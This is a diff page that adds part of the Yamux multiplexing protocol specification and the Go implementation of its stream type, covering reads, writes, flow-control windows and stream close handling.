|
||||
# Message Flow
|
||||
|
||||
There is no explicit connection setup, as Yamux relies on an underlying
|
||||
transport to be provided. However, there is a distinction between client
|
||||
and server side of the connection.
|
||||
|
||||
## Opening a stream
|
||||
|
||||
To open a stream, an initial data or window update frame is sent
|
||||
with a new StreamID. The SYN flag should be set to signal a new stream.
|
||||
|
||||
The receiver must then reply with either a data or window update frame
|
||||
with the StreamID along with the ACK flag to accept the stream or with
|
||||
the RST flag to reject the stream.
|
||||
|
||||
Because we are relying on the reliable stream underneath, a connection
|
||||
can begin sending data once the SYN flag is sent. The corresponding
|
||||
ACK does not need to be received. This is particularly well suited
|
||||
for an RPC system where a client wants to open a stream and immediately
|
||||
fire a request without waiting for the RTT of the ACK.
|
||||
|
||||
This does introduce the possibility of a connection being rejected
|
||||
after data has been sent already. This is a slight semantic difference
|
||||
from TCP, where the connection cannot be refused after it is opened.
|
||||
Clients should be prepared to handle this by checking for an error
|
||||
that indicates a RST was received.
|
||||
|
||||
## Closing a stream
|
||||
|
||||
To close a stream, either side sends a data or window update frame
|
||||
along with the FIN flag. This does a half-close indicating the sender
|
||||
will send no further data.
|
||||
|
||||
Once both sides have closed the connection, the stream is closed.
|
||||
|
||||
Alternatively, if an error occurs, the RST flag can be used to
|
||||
hard close a stream immediately.
|
||||
|
||||
## Flow Control
|
||||
|
||||
When Yamux is initially starts each stream with a 256KB window size.
|
||||
There is no window size for the session.
|
||||
|
||||
To prevent the streams from stalling, window update frames should be
|
||||
sent regularly. Yamux can be configured to provide a larger limit for
|
||||
windows sizes. Both sides assume the initial 256KB window, but can
|
||||
immediately send a window update as part of the SYN/ACK indicating a
|
||||
larger window.
|
||||
|
||||
Both sides should track the number of bytes sent in Data frames
|
||||
only, as only they are tracked as part of the window size.
|
||||
|
||||
## Session termination
|
||||
|
||||
When a session is being terminated, the Go Away message should
|
||||
be sent. The Length should be set to one of the following to
|
||||
provide an error code:
|
||||
|
||||
* 0x0 Normal termination
|
||||
* 0x1 Protocol error
|
||||
* 0x2 Internal error
|
||||
+556
@@ -0,0 +1,556 @@
|
||||
package yamux
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"io"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
type streamState int
|
||||
|
||||
const (
|
||||
streamInit streamState = iota
|
||||
streamSYNSent
|
||||
streamSYNReceived
|
||||
streamEstablished
|
||||
streamLocalClose
|
||||
streamRemoteClose
|
||||
streamClosed
|
||||
streamReset
|
||||
)
|
||||
|
||||
// Stream is used to represent a logical stream
|
||||
// within a session.
|
||||
type Stream struct {
|
||||
recvWindow uint32
|
||||
sendWindow uint32
|
||||
|
||||
id uint32
|
||||
session *Session
|
||||
|
||||
state streamState
|
||||
stateLock sync.Mutex
|
||||
|
||||
recvBuf *bytes.Buffer
|
||||
recvLock sync.Mutex
|
||||
|
||||
controlHdr header
|
||||
controlErr chan error
|
||||
controlHdrLock sync.Mutex
|
||||
|
||||
sendHdr header
|
||||
sendErr chan error
|
||||
sendLock sync.Mutex
|
||||
|
||||
recvNotifyCh chan struct{}
|
||||
sendNotifyCh chan struct{}
|
||||
|
||||
readDeadline atomic.Value // time.Time
|
||||
writeDeadline atomic.Value // time.Time
|
||||
|
||||
// establishCh is notified if the stream is established or being closed.
|
||||
establishCh chan struct{}
|
||||
|
||||
// closeTimer is set with stateLock held to honor the StreamCloseTimeout
|
||||
// setting on Session.
|
||||
closeTimer *time.Timer
|
||||
}
|
||||
|
||||
// newStream is used to construct a new stream within
|
||||
// a given session for an ID
|
||||
func newStream(session *Session, id uint32, state streamState) *Stream {
|
||||
s := &Stream{
|
||||
id: id,
|
||||
session: session,
|
||||
state: state,
|
||||
controlHdr: header(make([]byte, headerSize)),
|
||||
controlErr: make(chan error, 1),
|
||||
sendHdr: header(make([]byte, headerSize)),
|
||||
sendErr: make(chan error, 1),
|
||||
recvWindow: initialStreamWindow,
|
||||
sendWindow: initialStreamWindow,
|
||||
recvNotifyCh: make(chan struct{}, 1),
|
||||
sendNotifyCh: make(chan struct{}, 1),
|
||||
establishCh: make(chan struct{}, 1),
|
||||
}
|
||||
s.readDeadline.Store(time.Time{})
|
||||
s.writeDeadline.Store(time.Time{})
|
||||
return s
|
||||
}
|
||||
|
||||
// Session returns the associated stream session
|
||||
func (s *Stream) Session() *Session {
|
||||
return s.session
|
||||
}
|
||||
|
||||
// StreamID returns the ID of this stream
|
||||
func (s *Stream) StreamID() uint32 {
|
||||
return s.id
|
||||
}
|
||||
|
||||
// Read is used to read from the stream
|
||||
func (s *Stream) Read(b []byte) (n int, err error) {
|
||||
defer asyncNotify(s.recvNotifyCh)
|
||||
START:
|
||||
|
||||
// If the stream is closed and there's no data buffered, return EOF
|
||||
s.stateLock.Lock()
|
||||
switch s.state {
|
||||
case streamLocalClose:
|
||||
// LocalClose only prohibits further local writes. Handle reads normally.
|
||||
case streamRemoteClose:
|
||||
fallthrough
|
||||
case streamClosed:
|
||||
s.recvLock.Lock()
|
||||
if s.recvBuf == nil || s.recvBuf.Len() == 0 {
|
||||
s.recvLock.Unlock()
|
||||
s.stateLock.Unlock()
|
||||
return 0, io.EOF
|
||||
}
|
||||
s.recvLock.Unlock()
|
||||
case streamReset:
|
||||
s.stateLock.Unlock()
|
||||
return 0, ErrConnectionReset
|
||||
}
|
||||
s.stateLock.Unlock()
|
||||
|
||||
// If there is no data available, block
|
||||
s.recvLock.Lock()
|
||||
if s.recvBuf == nil || s.recvBuf.Len() == 0 {
|
||||
s.recvLock.Unlock()
|
||||
goto WAIT
|
||||
}
|
||||
|
||||
// Read any bytes
|
||||
n, _ = s.recvBuf.Read(b)
|
||||
s.recvLock.Unlock()
|
||||
|
||||
// Send a window update potentially
|
||||
err = s.sendWindowUpdate()
|
||||
if err == ErrSessionShutdown {
|
||||
err = nil
|
||||
}
|
||||
return n, err
|
||||
|
||||
WAIT:
|
||||
var timeout <-chan time.Time
|
||||
var timer *time.Timer
|
||||
readDeadline := s.readDeadline.Load().(time.Time)
|
||||
if !readDeadline.IsZero() {
|
||||
delay := time.Until(readDeadline)
|
||||
timer = time.NewTimer(delay)
|
||||
timeout = timer.C
|
||||
}
|
||||
select {
|
||||
case <-s.session.shutdownCh:
|
||||
case <-s.recvNotifyCh:
|
||||
case <-timeout:
|
||||
return 0, ErrTimeout
|
||||
}
|
||||
if timer != nil {
|
||||
if !timer.Stop() {
|
||||
<-timeout
|
||||
}
|
||||
}
|
||||
goto START
|
||||
}
|
||||
|
||||
// Write is used to write to the stream
|
||||
func (s *Stream) Write(b []byte) (n int, err error) {
|
||||
s.sendLock.Lock()
|
||||
defer s.sendLock.Unlock()
|
||||
total := 0
|
||||
for total < len(b) {
|
||||
n, err := s.write(b[total:])
|
||||
total += n
|
||||
if err != nil {
|
||||
return total, err
|
||||
}
|
||||
}
|
||||
return total, nil
|
||||
}
|
||||
|
||||
// write is used to write to the stream, may return on
|
||||
// a short write.
|
||||
func (s *Stream) write(b []byte) (n int, err error) {
|
||||
var flags uint16
|
||||
var max uint32
|
||||
var body []byte
|
||||
START:
|
||||
s.stateLock.Lock()
|
||||
switch s.state {
|
||||
case streamLocalClose:
|
||||
fallthrough
|
||||
case streamClosed:
|
||||
s.stateLock.Unlock()
|
||||
return 0, ErrStreamClosed
|
||||
case streamReset:
|
||||
s.stateLock.Unlock()
|
||||
return 0, ErrConnectionReset
|
||||
}
|
||||
s.stateLock.Unlock()
|
||||
|
||||
// If there is no data available, block
|
||||
window := atomic.LoadUint32(&s.sendWindow)
|
||||
if window == 0 {
|
||||
goto WAIT
|
||||
}
|
||||
|
||||
// Determine the flags if any
|
||||
flags = s.sendFlags()
|
||||
|
||||
// Send up to our send window
|
||||
max = min(window, uint32(len(b)))
|
||||
body = b[:max]
|
||||
|
||||
// Send the header
|
||||
s.sendHdr.encode(typeData, flags, s.id, max)
|
||||
if err = s.session.waitForSendErr(s.sendHdr, body, s.sendErr); err != nil {
|
||||
if errors.Is(err, ErrSessionShutdown) || errors.Is(err, ErrConnectionWriteTimeout) {
|
||||
// Message left in ready queue, header re-use is unsafe.
|
||||
s.sendHdr = header(make([]byte, headerSize))
|
||||
}
|
||||
return 0, err
|
||||
}
|
||||
|
||||
// Reduce our send window
|
||||
atomic.AddUint32(&s.sendWindow, ^uint32(max-1))
|
||||
|
||||
// Unlock
|
||||
return int(max), err
|
||||
|
||||
WAIT:
|
||||
var timeout <-chan time.Time
|
||||
var timer *time.Timer
|
||||
writeDeadline := s.writeDeadline.Load().(time.Time)
|
||||
if !writeDeadline.IsZero() {
|
||||
delay := time.Until(writeDeadline)
|
||||
timer = time.NewTimer(delay)
|
||||
timeout = timer.C
|
||||
}
|
||||
select {
|
||||
case <-s.session.shutdownCh:
|
||||
case <-s.sendNotifyCh:
|
||||
case <-timeout:
|
||||
return 0, ErrTimeout
|
||||
}
|
||||
if timer != nil {
|
||||
if !timer.Stop() {
|
||||
<-timeout
|
||||
}
|
||||
}
|
||||
goto START
|
||||
}
|
||||
|
||||
// sendFlags determines any flags that are appropriate
|
||||
// based on the current stream state
|
||||
func (s *Stream) sendFlags() uint16 {
|
||||
s.stateLock.Lock()
|
||||
defer s.stateLock.Unlock()
|
||||
var flags uint16
|
||||
switch s.state {
|
||||
case streamInit:
|
||||
flags |= flagSYN
|
||||
s.state = streamSYNSent
|
||||
case streamSYNReceived:
|
||||
flags |= flagACK
|
||||
s.state = streamEstablished
|
||||
}
|
||||
return flags
|
||||
}
|
||||
|
||||
// sendWindowUpdate potentially sends a window update enabling
|
||||
// further writes to take place. Must be invoked with the lock.
|
||||
func (s *Stream) sendWindowUpdate() error {
|
||||
s.controlHdrLock.Lock()
|
||||
defer s.controlHdrLock.Unlock()
|
||||
|
||||
// Determine the delta update
|
||||
max := s.session.config.MaxStreamWindowSize
|
||||
var bufLen uint32
|
||||
s.recvLock.Lock()
|
||||
if s.recvBuf != nil {
|
||||
bufLen = uint32(s.recvBuf.Len())
|
||||
}
|
||||
delta := (max - bufLen) - s.recvWindow
|
||||
|
||||
// Determine the flags if any
|
||||
flags := s.sendFlags()
|
||||
|
||||
// Check if we can omit the update
|
||||
if delta < (max/2) && flags == 0 {
|
||||
s.recvLock.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
// Update our window
|
||||
s.recvWindow += delta
|
||||
s.recvLock.Unlock()
|
||||
|
||||
// Send the header
|
||||
s.controlHdr.encode(typeWindowUpdate, flags, s.id, delta)
|
||||
if err := s.session.waitForSendErr(s.controlHdr, nil, s.controlErr); err != nil {
|
||||
if errors.Is(err, ErrSessionShutdown) || errors.Is(err, ErrConnectionWriteTimeout) {
|
||||
// Message left in ready queue, header re-use is unsafe.
|
||||
s.controlHdr = header(make([]byte, headerSize))
|
||||
}
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// sendClose is used to send a FIN
|
||||
func (s *Stream) sendClose() error {
|
||||
s.controlHdrLock.Lock()
|
||||
defer s.controlHdrLock.Unlock()
|
||||
|
||||
flags := s.sendFlags()
|
||||
flags |= flagFIN
|
||||
s.controlHdr.encode(typeWindowUpdate, flags, s.id, 0)
|
||||
if err := s.session.waitForSendErr(s.controlHdr, nil, s.controlErr); err != nil {
|
||||
if errors.Is(err, ErrSessionShutdown) || errors.Is(err, ErrConnectionWriteTimeout) {
|
||||
// Message left in ready queue, header re-use is unsafe.
|
||||
s.controlHdr = header(make([]byte, headerSize))
|
||||
}
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Close is used to close the stream
|
||||
func (s *Stream) Close() error {
|
||||
closeStream := false
|
||||
s.stateLock.Lock()
|
||||
switch s.state {
|
||||
// Opened means we need to signal a close
|
||||
case streamSYNSent:
|
||||
fallthrough
|
||||
case streamSYNReceived:
|
||||
fallthrough
|
||||
case streamEstablished:
|
||||
s.state = streamLocalClose
|
||||
goto SEND_CLOSE
|
||||
|
||||
case streamLocalClose:
|
||||
case streamRemoteClose:
|
||||
s.state = streamClosed
|
||||
closeStream = true
|
||||
goto SEND_CLOSE
|
||||
|
||||
case streamClosed:
|
||||
case streamReset:
|
||||
default:
|
||||
panic("unhandled state")
|
||||
}
|
||||
s.stateLock.Unlock()
|
||||
return nil
|
||||
SEND_CLOSE:
|
||||
// This shouldn't happen (the more realistic scenario to cancel the
|
||||
// timer is via processFlags) but just in case this ever happens, we
|
||||
// cancel the timer to prevent dangling timers.
|
||||
if s.closeTimer != nil {
|
||||
s.closeTimer.Stop()
|
||||
s.closeTimer = nil
|
||||
}
|
||||
|
||||
// If we have a StreamCloseTimeout set we start the timeout timer.
|
||||
// We do this only if we're not already closing the stream since that
|
||||
// means this was a graceful close.
|
||||
//
|
||||
// This prevents memory leaks if one side (this side) closes and the
|
||||
// remote side poorly behaves and never responds with a FIN to complete
|
||||
// the close. After the specified timeout, we clean our resources up no
|
||||
// matter what.
|
||||
if !closeStream && s.session.config.StreamCloseTimeout > 0 {
|
||||
s.closeTimer = time.AfterFunc(
|
||||
s.session.config.StreamCloseTimeout, s.closeTimeout)
|
||||
}
|
||||
|
||||
s.stateLock.Unlock()
|
||||
s.sendClose()
|
||||
s.notifyWaiting()
|
||||
if closeStream {
|
||||
s.session.closeStream(s.id)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// closeTimeout is called after StreamCloseTimeout during a close to
|
||||
// close this stream.
|
||||
func (s *Stream) closeTimeout() {
|
||||
// Close our side forcibly
|
||||
s.forceClose()
|
||||
|
||||
// Free the stream from the session map
|
||||
s.session.closeStream(s.id)
|
||||
|
||||
// Send a RST so the remote side closes too.
|
||||
s.sendLock.Lock()
|
||||
defer s.sendLock.Unlock()
|
||||
hdr := header(make([]byte, headerSize))
|
||||
hdr.encode(typeWindowUpdate, flagRST, s.id, 0)
|
||||
_ = s.session.sendNoWait(hdr)
|
||||
}
|
||||
|
||||
// forceClose is used for when the session is exiting
|
||||
func (s *Stream) forceClose() {
|
||||
s.stateLock.Lock()
|
||||
s.state = streamClosed
|
||||
s.stateLock.Unlock()
|
||||
s.notifyWaiting()
|
||||
}
|
||||
|
||||
// processFlags is used to update the state of the stream
|
||||
// based on set flags, if any. Lock must be held
|
||||
func (s *Stream) processFlags(flags uint16) error {
|
||||
s.stateLock.Lock()
|
||||
defer s.stateLock.Unlock()
|
||||
|
||||
// Close the stream without holding the state lock
|
||||
closeStream := false
|
||||
defer func() {
|
||||
if closeStream {
|
||||
if s.closeTimer != nil {
|
||||
// Stop our close timeout timer since we gracefully closed
|
||||
s.closeTimer.Stop()
|
||||
}
|
||||
|
||||
s.session.closeStream(s.id)
|
||||
}
|
||||
}()
|
||||
|
||||
if flags&flagACK == flagACK {
|
||||
if s.state == streamSYNSent {
|
||||
s.state = streamEstablished
|
||||
}
|
||||
asyncNotify(s.establishCh)
|
||||
s.session.establishStream(s.id)
|
||||
}
|
||||
if flags&flagFIN == flagFIN {
|
||||
switch s.state {
|
||||
case streamSYNSent:
|
||||
fallthrough
|
||||
case streamSYNReceived:
|
||||
fallthrough
|
||||
case streamEstablished:
|
||||
s.state = streamRemoteClose
|
||||
s.notifyWaiting()
|
||||
case streamLocalClose:
|
||||
s.state = streamClosed
|
||||
closeStream = true
|
||||
s.notifyWaiting()
|
||||
default:
|
||||
s.session.logger.Printf("[ERR] yamux: unexpected FIN flag in state %d", s.state)
|
||||
return ErrUnexpectedFlag
|
||||
}
|
||||
}
|
||||
if flags&flagRST == flagRST {
|
||||
s.state = streamReset
|
||||
closeStream = true
|
||||
s.notifyWaiting()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// notifyWaiting notifies all the waiting channels
|
||||
func (s *Stream) notifyWaiting() {
|
||||
asyncNotify(s.recvNotifyCh)
|
||||
asyncNotify(s.sendNotifyCh)
|
||||
asyncNotify(s.establishCh)
|
||||
}
|
||||
|
||||
// incrSendWindow updates the size of our send window
|
||||
func (s *Stream) incrSendWindow(hdr header, flags uint16) error {
|
||||
if err := s.processFlags(flags); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Increase window, unblock a sender
|
||||
atomic.AddUint32(&s.sendWindow, hdr.Length())
|
||||
asyncNotify(s.sendNotifyCh)
|
||||
return nil
|
||||
}
|
||||
|
||||
// readData is used to handle a data frame
|
||||
func (s *Stream) readData(hdr header, flags uint16, conn io.Reader) error {
|
||||
if err := s.processFlags(flags); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Check that our recv window is not exceeded
|
||||
length := hdr.Length()
|
||||
if length == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Wrap in a limited reader
|
||||
conn = &io.LimitedReader{R: conn, N: int64(length)}
|
||||
|
||||
// Copy into buffer
|
||||
s.recvLock.Lock()
|
||||
|
||||
if length > s.recvWindow {
|
||||
s.session.logger.Printf("[ERR] yamux: receive window exceeded (stream: %d, remain: %d, recv: %d)", s.id, s.recvWindow, length)
|
||||
s.recvLock.Unlock()
|
||||
return ErrRecvWindowExceeded
|
||||
}
|
||||
|
||||
if s.recvBuf == nil {
|
||||
// Allocate the receive buffer just-in-time to fit the full data frame.
|
||||
// This way we can read in the whole packet without further allocations.
|
||||
s.recvBuf = bytes.NewBuffer(make([]byte, 0, length))
|
||||
}
|
||||
copiedLength, err := io.Copy(s.recvBuf, conn)
|
||||
if err != nil {
|
||||
s.session.logger.Printf("[ERR] yamux: Failed to read stream data: %v", err)
|
||||
s.recvLock.Unlock()
|
||||
return err
|
||||
}
|
||||
|
||||
// Decrement the receive window
|
||||
s.recvWindow -= uint32(copiedLength)
|
||||
s.recvLock.Unlock()
|
||||
|
||||
// Unblock any readers
|
||||
asyncNotify(s.recvNotifyCh)
|
||||
return nil
|
||||
}
|
||||
|
||||
// SetDeadline sets the read and write deadlines
|
||||
func (s *Stream) SetDeadline(t time.Time) error {
|
||||
if err := s.SetReadDeadline(t); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := s.SetWriteDeadline(t); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// SetReadDeadline sets the deadline for blocked and future Read calls.
|
||||
func (s *Stream) SetReadDeadline(t time.Time) error {
|
||||
s.readDeadline.Store(t)
|
||||
asyncNotify(s.recvNotifyCh)
|
||||
return nil
|
||||
}
|
||||
|
||||
// SetWriteDeadline sets the deadline for blocked and future Write calls
|
||||
func (s *Stream) SetWriteDeadline(t time.Time) error {
|
||||
s.writeDeadline.Store(t)
|
||||
asyncNotify(s.sendNotifyCh)
|
||||
return nil
|
||||
}
|
||||
|
||||
// Shrink is used to compact the amount of buffers utilized
|
||||
// This is useful when using Yamux in a connection pool to reduce
|
||||
// the idle memory utilization.
|
||||
func (s *Stream) Shrink() {
|
||||
s.recvLock.Lock()
|
||||
if s.recvBuf != nil && s.recvBuf.Len() == 0 {
|
||||
s.recvBuf = nil
|
||||
}
|
||||
s.recvLock.Unlock()
|
||||
}
|
||||
Loaded 100 of 112 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user